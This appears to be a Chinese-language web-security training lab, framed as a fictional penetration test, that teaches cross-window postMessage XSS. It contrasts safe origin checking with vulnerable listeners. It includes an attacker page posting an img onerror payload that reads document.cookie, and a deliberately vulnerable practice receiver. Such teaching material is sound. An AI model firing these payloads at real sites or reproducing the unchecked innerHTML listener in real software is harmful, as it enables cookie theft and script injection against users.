◈ 渗透任务 跨窗口通信安全审计 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 WidgetHub 第三方组件市场 (widgets.widgethub.example.com) 委托方 WidgetHub 使用 postMessage 进行跨 iframe 通信,但未校验消息来源 任务目标 通过 postMessage 注入 XSS payload

◈ 教程:postMessage XSS

什么是 postMessage?

postMessage 是 HTML5 的 Window API,允许来自不同源(origin)的窗口/iframe 之间进行安全的跨域通信。

核心概念:postMessage 本身是安全的 API,但如果接收端不校验消息来源(event.origin)就直接使用消息内容,就会导致 XSS 漏洞。

基本用法

// 发送端(如 iframe 或 opener)
targetWindow.postMessage("Hello", "https://target.com");

// 接收端
window.addEventListener("message", function(event) {
    // 安全做法:先校验来源
    if (event.origin !== "https://trusted.com") return;

    // 安全做法:使用 textContent 而非 innerHTML
    document.getElementById("output").textContent = event.data;
});

常见漏洞模式

模式 1:缺少 origin 校验 + innerHTML
// 危险!
window.addEventListener("message", function(e) {
    // 缺少: if (e.origin !== "https://trusted.com") return;
    document.getElementById("output").innerHTML = e.data;
});

任何页面都可以向此窗口发送消息,消息中的 HTML 会被直接渲染。

模式 2:使用 wildcard("*")发送
// 危险!接收端无法通过 origin 过滤
targetWindow.postMessage(data, "*");

// 安全做法:指定明确的目标 origin
targetWindow.postMessage(data, "https://target.com");
模式 3:JSON.parse 前未校验
window.addEventListener("message", function(e) {
    var data = JSON.parse(e.data); // 可能被注入
    document.getElementById("name").innerHTML = data.name;
});

攻击流程

// 攻击者页面 (evil.html)
<iframe id="victim" src="https://target.com/page"></iframe>
<script>
// 等待 iframe 加载完成后发送恶意消息
document.getElementById("victim").onload = function() {
    this.contentWindow.postMessage(
        '<img src=x onerror=alert(document.cookie)>',
        '*'
    );
};
</script>

攻击面分析

场景 风险
innerHTML 渲染 直接 XSS
eval() 执行 远程代码执行
location.href 跳转 钓鱼/恶意跳转
fetch() 请求 SSRF / 数据泄露
localStorage 写入 持久化攻击

◈ 练习:postMessage XSS

目标:页面包含一个 postMessage 监听器,它不校验消息来源并将消息内容通过 innerHTML 渲染。 点击下方按钮模拟攻击者发送一条包含恶意 HTML 的 postMessage 消息。
消息接收区(innerHTML 渲染):

等待接收消息...

重置
发送的消息内容预览:
点击上方按钮后,此处将显示发送的消息内容。
◈ 查看漏洞源码 (JavaScript)
// === 接收端(主页面)=== // 危险:未校验消息来源(origin),且使用 innerHTML 渲染消息内容 window.addEventListener("message", function(e) { // 缺少: if (e.origin !== "https://trusted.com") return; document.getElementById("output").innerHTML = e.data; }); // === 发送端(攻击者页面)=== // 攻击者可以在自己的页面中嵌入目标 iframe,然后发送恶意消息 // var victim = document.getElementById("victim-frame"); // victim.contentWindow.postMessage("<img src=x onerror=alert(1)>", "*");
◈ 过滤状态:
  • 消息来源(origin)校验 — 缺失
  • 消息内容过滤 —
  • 渲染方式 — innerHTML(直接解析 HTML)
  • CSP 限制 — 未设置